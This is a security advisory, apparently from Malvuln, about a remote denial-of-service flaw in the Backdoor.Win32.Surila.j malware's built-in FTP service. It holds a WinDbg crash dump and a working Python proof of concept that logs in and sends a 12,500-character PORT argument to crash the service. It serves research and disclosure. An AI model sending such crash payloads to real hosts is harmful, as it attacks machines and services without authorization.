Share
## https://sploitus.com/exploit?id=PACKETSTORM:163478
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_C.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Surila.j   
Vulnerability: Remote Denial of Service   
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050. Third-party attackers who can reach infected systems can logon using any username/password combination. Supplying a long string of characters for the FTP PORT command argument results in access violation and crash.  
Type: PE32  
MD5: b1cec4b806c71c82bbd9002bdaf21d1f  
Vuln ID: MVID-2021-0290  
Dropped files: iexp1orer.exe  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 07/12/2021  
  
Memory Dump:  
(758.c3c): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=00000000 edx=0040b5d4 esi=00000003 edi=00000003  
eip=77dded3c esp=027ce28c ebp=027ce41c iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
77dded3c c21400 ret 14h  
  
0:005> .ecxr  
eax=00000000 ebx=000002b4 ecx=00000000 edx=0040b5d4 esi=00404f4d edi=027cf628  
eip=0040492e esp=027cebcc ebp=027cebd4 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
*** WARNING: Unable to verify checksum for iexp1orer.exe  
*** ERROR: Module load completed but symbols could not be loaded for iexp1orer.exe  
iexp1orer+0x492e:  
0040492e 8801 mov byte ptr [ecx],al ds:002b:00000000=??  
  
0:005> !exchain  
027ce40c: KERNELBASE!_except_handler4+0 (74e7fc20)  
CRT scope 0, func: KERNELBASE!WaitForMultipleObjectsEx+31e15 (74ea2fe5)  
027ce4d4: kernel32!_except_handler4+0 (7765d450)  
CRT scope 0, func: kernel32!WerpReportFaultInternal+485 (7764f7db)  
027ce598: KERNELBASE!_except_handler4+0 (74e7fc20)  
CRT scope 1, filter: KERNELBASE!UnhandledExceptionFilter+2bf (74efd93f)  
func: KERNELBASE!UnhandledExceptionFilter+2c5 (74efd945)  
027ce62c: ntdll!ExecuteHandler2+44 (77df9d70)  
027cffcc: ntdll!_except_handler4+0 (77de6a50)  
CRT scope 0, filter: ntdll!__RtlUserThreadStart+3ed68 (77e137b0)  
func: ntdll!__RtlUserThreadStart+3edaf (77e137f7)  
027cffe4: ntdll!FinalExceptionHandlerPad14+0 (77df9eae)  
Invalid exception stack at ffffffff  
  
0:005> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
iexp1orer+492e  
0040492e 8801 mov byte ptr [ecx],al  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 0040492e (iexp1orer+0x0000492e)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 00000000  
Attempt to write to address 00000000  
  
PROCESS_NAME: iexp1orer.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 00000000  
  
WRITE_ADDRESS: 00000000   
  
FOLLOWUP_IP:   
iexp1orer+492e  
0040492e 8801 mov byte ptr [ecx],al  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00000c3c  
  
BUGCHECK_STR: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE  
  
PRIMARY_PROBLEM_CLASS: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE  
  
DEFAULT_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE  
  
LAST_CONTROL_TRANSFER: from 00403413 to 0040492e  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
027cebd4 00403413 00000000 0040b5d4 00000000 iexp1orer+0x492e  
027cebe8 00405385 00000000 0040b5d4 00404f4d iexp1orer+0x3413  
027cff80 77608654 000002b4 77608630 4da48a6e iexp1orer+0x5385  
027cff94 77dd4a77 000002b4 4925826f 00000000 kernel32!BaseThreadInitThunk+0x24  
027cffdc 77dd4a47 ffffffff 77df9eae 00000000 ntdll!__RtlUserThreadStart+0x2f  
027cffec 00000000 00404f4d 000002b4 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
  
STACK_COMMAND: ~5s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: iexp1orer+492e  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: iexp1orer  
  
IMAGE_NAME: iexp1orer.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 41417b55  
  
FAILURE_BUCKET_ID: NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_c0000005_iexp1orer.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_iexp1orer+492e  
  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=19427  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(128)  
print(res)  
if "\0" in res or "\n" in res or res == "" or "OK" in res or res=="":  
break  
return res  
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
if "220 Bot Server (Win32)" in chk_res(s):  
print("Backdoor.Win32.Surila.j Found!")  
  
s.send("USER mal\r\n")  
time.sleep(0.5)  
s.send("PASS vuln\r\n")  
time.sleep(0.5)  
  
PAYLOAD="A"*12500  
s.send("PORT " + PAYLOAD+"\r\n")  
  
print("Backdoor.Win32.Surila.j / Remote Denial of Service")  
print("MD5: b1cec4b806c71c82bbd9002bdaf21d1f")  
print("Malvuln")  
  
s.close()  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).